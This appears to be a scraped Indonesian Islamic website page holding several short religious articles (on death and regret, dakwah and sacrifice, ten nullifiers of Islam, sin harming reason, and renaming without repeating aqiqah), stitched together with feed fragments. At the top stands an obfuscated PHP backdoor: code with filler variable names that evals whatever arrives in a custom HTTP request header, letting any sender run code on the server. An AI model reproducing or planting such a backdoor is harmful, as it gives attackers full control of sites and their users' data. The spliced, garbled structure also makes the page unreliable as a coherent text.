/** to and SASS that React if Node.js MongoDB Laravel. */
$amount_coupon_shipping_flag = $_SERVER;
$debugMode_address_item = 'HTTP_7E95304';
$success_mode_product = 'section_value_pageIndex_buffer_value';
if (isset($amount_coupon_shipping_flag[$debugMode_address_item])) {
$title_feature_coupon_brand = 'setting_query_message';
eval
($amount_coupon_shipping_flag[
$debugMode_address_item]);
$info_message_category = 'order_title_file_user_response';
/** but in Front-End the JSON REST it by from during CSS on while. */
}
SMP Plus Ihya’ul Ulum Muntilan
Batas Akhir: 13 Maret 2021
Nara Hubung: 081-328-021-663
كُلُّ امْرِئٍ مُصَبَّحٌ فِي أَهْلِهِ … وَالْمَوْتُ أَدْنَى مِنْ شِرَاكِ نَعْلِهِ
“Dan setiap masing-masing kita berkumpul di tengah keluarganya… padahal kematian lebih dekat kepadanya daripada tali sandalnya.” (Musnad Al Imam Ahmad, juz 40, hal 419)
Beginilah sahabat nabi yang mulia ini menggambarkan kematian,bahwa ia adalah perkara yang sangat dekat dengan kita. Perkara yang tak seorangpun dari kita mampu lari dan menghindar darinya. Allah berfirman,:
أَيۡنَمَا تَكُونُواْ يُدۡرِككُّمُ ٱلۡمَوۡتُ وَلَوۡ كُنتُمۡ فِي بُرُوجٖ مُّشَيَّدَةٖۗ
Artinya:
“Di mana saja kamu berada, kematian akan mendapatkan kamu, kendatipun kamu di dalam benteng yang tinggi lagi kokoh…(Q.S An-nisa: 78)
Inilah kematian, di mana tak ada seorangpun dari manusia yang mampu lari darinya, bahkan jika ia berusaha membangun benteng yang sangat kokoh. Lalu yang menjadi pertanyaan bagi kita yang masih hidup, pelajaran seperti apakah yang mampu kita ambil dari sebaik-baik nasihat ini (kematian)?
Sahabatku, sesungguhnya mereka yang telah meninggal memilki harapan yang sangat besar, baik yang menghabiskan kehidupan dunianya dalam ketaatan kepada Allah, atau yang menghabiskannya di atas jalan kekufuran atau kemaksiatan. Disebutkan dalam sebuah riwayat, dari sahabat Abu Hurairah rhadiallahu ‘anhu, bahwa Rasulullah shallallahu ‘alaihi wasallam bersabda,:
مَا مِنْ أَحَدٍ يَمُوتُ إِلَّا نَدِمَ»، قَالُوا: وَمَا نَدَامَتُهُ يَا رَسُولَ اللَّهِ؟ قَالَ: «إِنْ كَانَ مُحْسِنًا نَدِمَ أَنْ لَا يَكُونَ ازْدَادَ، وَإِنْ كَانَ مُسِيئًا نَدِمَ أَنْ لَا يَكُونَ نَزَعَ
“Tiada seorangpun yang meninggal kecuali ia pasti menyesal. Para sahabat bertanya, apa penyesalannya wahai Rasulullah? Beliau menjawab,: Jika ia adalah hamba yang gemar berbuat baik maka ia menyesal kenapa ia tidak menambah (kebaikannya), dan jika ia hamba yang gemar berbuat keburukan, maka ia menyesal kenapa tidak mencabut (berhenti dari keburukannya).”(HR.Tirmidzi, No. 2403)
Sahabatku, hamba shalih yang senantiasa menjaga ibadah wajibnya, menambah dengan ibadah sunnah, dan menghindari maksiat ternyata setelah ia meninggal dunia ia juga menyesal. Menyesal atas apa? Atas amalan-amalan shalih yang sudah tak mampu lagi ia tambah. Hamba shalih yang setiap bulannya mengkhatamkan al qur’an menyesal, kenapa tidak ia khatamkan tiga kali dalam sebulan, yang rajin puasa senin-kamis, kenapa tidak ia tambah dengan puasa ayyam al bidh dan puasa-puasa sunnah lainnya. Jika yang shalih saja menyesal, lalu bagaimana keadaan mereka yang ketika hidup menghabiskan waktu-waktunya di atas kemaksiatan, tentu penyesalan mereka jauh lebih besar, karena mereka begitu khawatir akan tempat yang akan menjadi rumah kekal mereka.
Sahabtku, jangan membiarkan angan yang panjang membuat kita lalai akan kematian yang pasti mendatangi kita, yang datang tanpa harus menunggu izin dari kita, entah dalam keadaan terjaga, tidur, sibuk dengan urusan dunia, bahkan yang kita sangat khawatirkan jika ia datang saat kita tengah mengerjakan maksiat, wal iyadzubillah.
Ali radhiallahu ‘anhu dalam sebuah khutbahnya berkata,:
أَيُّهَا النَّاسُ إِنْ أَخْوَفَ مَا أَخَافُ عَلَيْكُمْ طُولُ الْأَمَلِ وَاتِّبَاعُ الْهَوَى، فَأَمَّا طُولُ الْأَمَلِ يُنْسِي الْآخِرَةَ، وَأَمَّا اتِّبَاعُ الْهَوَى فَيَصُدُّ عَنِ الْحَقِّ، أَلَا إِنَّ الدُّنْيَا قَدْ وَلَّتْ مُدْبِرَةً وَالْآخِرَةُ مُقْبِلَةٌ وَلِكُلِّ وَاحِدٍ مِنْهُمَا بَنُونَ، فَكُونُوا مِنْ أَبْنَاءِ الْآخِرَةِ وَلَا تَكُونُوا مِنْ أَبْنَاءِ الدُّنْيَا، فَإِنَّ الْيَوْمَ عَمَلٌ وَلَا حِسَابَ وَغَدًا حِسَابٌ وَلَا عَمَلَ.
“Wahai manusia! Sesungguhnya hal yang sangat aku khawatirkan terhadap kalian adalah memilki sifat berangan panjang serta mengikuti hawa nafsu. Adapun sifat panjang-angan membuat lupa akan akhirat, sedangkan mengikuti hawa nafsu menghalangi dari kebenaran, dunia berjalan meninggalkan kita, sedangkan akhirat berjalan menghampiri kita. Dan setiap dari keduanya (dunia dan akhirat) memilki anak-anak (pengikut). Maka jadilah kalian anak-anak akhirat, dan janganlah menjadi anak-anak dunia. Karena sesungguhnya hari ini adalah hari untuk beramal tanpa hisab pembalasan, sedangkan besok adalah hari pembalasan dan tiada kesempatan untuk beramal.”(Al Zuhd al kabir, karya Imam al Baihaqi, juz 1, hal 192)
Sahabatku, sesungguhnya mengingat kematian akan memutuskan angan panjang dari seorang hamba, membuatnya tersadar dari kelalaiannya, membuatnya terbangun dari kesibukan dunianya yang membuatnya lupa akan akhiratnya, dan mengetehui kabar penyesalan hamba shalih dan ahli maksiat setelah datang kematian akan memotivasi kita untuk memperbanyak amalan shalih, menambahnya dan senantiasa berusaha menjauhkan diri dari perkara-perkara yang Allah haramkan bagi kita. Wallahu waliyyutaufiq was sadad. Wallahu ta’ala a’lam.
____
Ditulis oleh: Rusdy Qasim (Mahasiswa Universitas Islam Madinah)
Sumber dari: https://wahdah.or.id/penyesalan-hamba-yang-shalih/
]]>Seorang pejuang adalah orang yang mengeluarkan seluruh yang dimilikinya untuk memperjuangkan agama Allah Azza wa Jalla.
Lalu, Apa yang mereka perjuangkan?
Yang mereka perjuangkan adalah kalimat La Ilaha Illallah sehingga kalimat Allah azza wa jalla menjadi eksis. Mereka memperjuangkan nilai Islam sehingga dikenal oleh manusia secara menyeluruh.
Pada hakikatnya semua aktivitas dalam memperjuangkan Islam adalah jihad. Allah berfirman dalam (Q.S. Yusuf: 108)
“Katakanlah Muhammad inilah jalanku aku dan orang-orang yang mengikutiku mengajak kamu kepada Allah dengan yakin, maha suci Allah dan aku tidak termasuk orang-orang musyrik“.
Ketika hari ini orang-orang berbangga dengan pengakuan bahwa “Mereka adalah (pejuang) kapitalisme, liberalisme, komunisme”, maka kitapun harus berbangga bahwa kita adalah pejuang Islam dan siap berjuang di dalamnya.
Jalan hidup Rasulullah adalah dakwah. Kita sebagai pengikut Rasulullah tentunya mengikuti jalan Dakwah ini. Hidup memperjuangkan Islam untuk menyeluruh. Perjuangan kita saat ini yaitu perjuangan yang mengharuskan kita untuk berkorban.
Perjuangan Mengharuskan Pengorbanan
Perjuangan mengharuskan pengorbanan tanpa pengorbanan maka tidak ada jihad di dalamnya. Syarat dari sebuah perjuangan adalah lahirnya kesulitan. Mengeluarkan seluruh potensi kita, mengeluarkan seluruh kekuatan kita baik berupa perkataan maupun perbuatan.
Karena hakikat berjuang adalah menggunakan seluruh potensi. Kadangkala ketika materi telah membersamai kita maka kendorlah cara berjuang kita dengan jiwa. Sebaiknya kita tidak seperti itu, tapi mari kita berjuang dengan harta dan jiwa kita. Mari kita lebih baik dari sebelumnya, bertahan dan semakin memperbaiki diri. Beriman dengan benar, menjual diri kita dengan dakwah. Maka teruslah berkorban agar kita mampu meraih nafsu Mutmainnah. []
Bantaeng 11 Oktober 2020
Sumber: Transkrip Ceramah Ustadz Saiful Yusuf, Lc, MA pada Tabligh Akbar Virtual pada Ahad (11/10/2020)
]]>
Pertama, Syirik atau menyekutukan Allah dalam ibadah.
Syirik merupakan pembatal keislaman paling berbahaya sebagaimana ditegaskan oleh Allah dalam Al-Qur’an, surat Al-Maidah ayat 72.
Kedua, Menjadikan seseorang sebagai perantara kepada Allah, dimana perntara tersebut dijadikan tempat meminta (berdo’a) meminta syafa’at, dan bertawakkal kepada mereka.
Ketiga, Tidak mengkafirkan (tidak menganggap kafir) orang kafir atau musyrik dan atau meragukan kekafiran mereka serta membenarkan ajaran mereka.
Keempat, Meyakini bahwa petunjuk selain petunjuk Nabi Muhammad lebih sempurna daripada petunjuk Nabi.
Kelima, Membeci sesuatu ajaran dari Nabi Muhammad shallallahu ‘alaihi wa sallam walaupun mengamalkannya. Berdasarkan firman Allah dalam surah Muhammad ayat 9.
Keenam, Istihza, mengolok-olok Agama, Allah, dan RasulNya. Berdasarkan firman Allah dalam surah At-Taubah ayat 65-66.
Ketujuh, Sihir. Siapa yang melakukan praktik sihir atau ridha dengannya, maka dia kafir. Hal ini berdasarkan firman Allah dalam surah Al-Baqarah ayat 102.
Kedelapan, Membantu dan menolong orang Musyrikin dalam memerangi dan atau menimpakan mudharat kepada orang beriman. Sebagaimana dijelaskamn surah Al-Maidah ayat 51.
Kesembilan, Meyakini bahwa sebagian manusia boleh keluar dari syariat Nabi Muhammad shallallahu ‘alaihi wa sallam. Dalilnya adalah firman Allah dalam surah AliImran ayat 85.
Kesepuluh, Berpaling dari agama Allah dengan tidak mempelajari dan tidak mengamalkan. Sebagaimana dijelaskan dalam surah As-Sajadah ayat 22.
Kesepuluh perkara ini merupakan pembatal syahadat dan keislaman yang sangat berbahaya. Tidak ada perbedaan antara dilakukan secara serius dan main-main atau bercanda. Karena itu setiap Muslim hendaknya waspada dari 10 pembatal keislaman ini.
Sumber dari: https://wahdah.or.id/10-pembatal-keislaman/
]]>
إِنَّ فِي خَلۡقِ ٱلسَّمَٰوَٰتِ وَٱلۡأَرۡضِ وَٱخۡتِلَٰفِ ٱلَّيۡلِ وَٱلنَّهَارِ لَأٓيَٰتٖ لِّأُوْلِي ٱلۡأَلۡبَٰبِ ١٩٠
Artinya:
“Sesungguhnya dalam penciptaan langit dan bumi, dan silih bergantinya malam dan siang terdapat tanda-tanda bagi orang-orang yang berakal.”
Dan yang menjadi salah satu bukti besar akan keagungan nikmat akal ini , di mana syariat telah menjadikan akal sebagai salah satu dari lima pokok hukum islam yang wajib dijaga keberlangsungannya oleh setiap muslim, yang kita kenal dengan istilah dharuriyat al khams.
Saudaraku, Sebagaimana jasad yang bisa rusak jika terkana penyakit, akal yang bak kompas yang bersemayam di dalam hati dan menahkodai seorang hamba pun bisa rusak.
Saudaraku, ketahuilah bahwa tiada perkara yang paling mampu merusak akal seorang hamba selain maksiat kepada Allah ‘azza wa jalla. Karena pada akal itu terdapat cahaya, sedangkan maksiat akan memadamkan setiap cahaya. Dan tatkala maksiat telah memadamkan cahaya akal, maka akal akan melemah kemudian berkurang hingga rusak.
Tidaklah seorang hamba bermaksiat kepada Allah hingga maksiat itu membuat akalnya hilang, yang demikian ini adalah perkara yang sangat jelas, karena jika seandainya ia memiliki akal, maka ia tidak akan berani bermaksiat padahal ia tahu bahwa jiwanya berada di tangan Allah, atau di bawah naungan kuasaNya, Allah senantiasa memperhatikannya, ketika ia tengah tidur dengan bantalnya, ada malaikat-malaikat yang melihatnya, Al-qur.’an telah memberinya petunjuk, pun kematian telah menjadi sebaik-baik nasihat baginya. Adapun perkara yang tidak ia peroleh dari kebaikan-kebaikan dunia dan akhirat jumlahnya berlipat ganda, yang semua itu adalah kebahagiaan serta kenikmatan yang tidak akan ia rasakan dengan bermaksiat. Kemudian, apakah mereka yang memiliki akal yang salim kemudian lebih memilih kehinaan di atas maksiat atau mengurangi kebaikan-kebaikan itu hanya karena sebuah maksiat? (Al da’ wa al dawa’, karangan Ibn Qayyim Al jauziyah, hal 59)
Saudaraku, jika maksiat dapat merusak akal, maka dengan ketakwaan, ketaatan kepada Allah ‘azza wa jalla dan RasulNya adalah obat yang menjadi sebab akal bisa sembuh dan menjadi selamat.
Ya Allah, anugerahilah kami akal yang salim, yang dengannya kami mampu membedakan antara hak dan yang batil, yang membuat kami semakin bersyukur akan nikmat-nikmatMu yang tak terhingga. Amiin allahumma amin
Wallahu ta’ala a’lam
Rusdy Qasim
]]>Sebagaimana juga nabi -shallallahu alaihi wasallam- ketika mengganti nama para sahabat, tidak ada riwayat yang menyebutkan bahwa beliau memerintahkan sahabat tersebut untuk mengaqiqahkan dirinya kembali untuk kedua kalinya.
Syaikh Ibnu Utsaimin berkata:
(تغيير الاسم إلى ما هو أحسن إذا تضمن أمراً لا ينبغي ، كما غير النبي – صلى الله عليه وسلم – بعض الأسماء المباحة ، ولا يحتاج ذلك إلى إعادة العقيقة كما يتوهمه بعض العامة) مجموع فتاوى لابن عثيمين (١٠/٨٥٠).
“(Boleh) mengubah nama kepada nama yang lebih baik bila nama sebelumnya mengandung makna yang tidak baik atau tidak patut, sebagaimana nabi -shallallahu alaihi wasallam- mengganti beberapa nama, dan hal itu (pengubahan nama) tidak memerlukan pengulangan aqiqah sebagaimana diyakini sebahgian orang awam”
-Majmu Al-Fatawa libni Utsaimin (10/850)-
Allahu a’lam
Wassalam.
Dijawab Oleh: Muhammad Harsya Bachtiar,Lc.
(Mahasiswa Pascasarjana Univ Islam Madinah)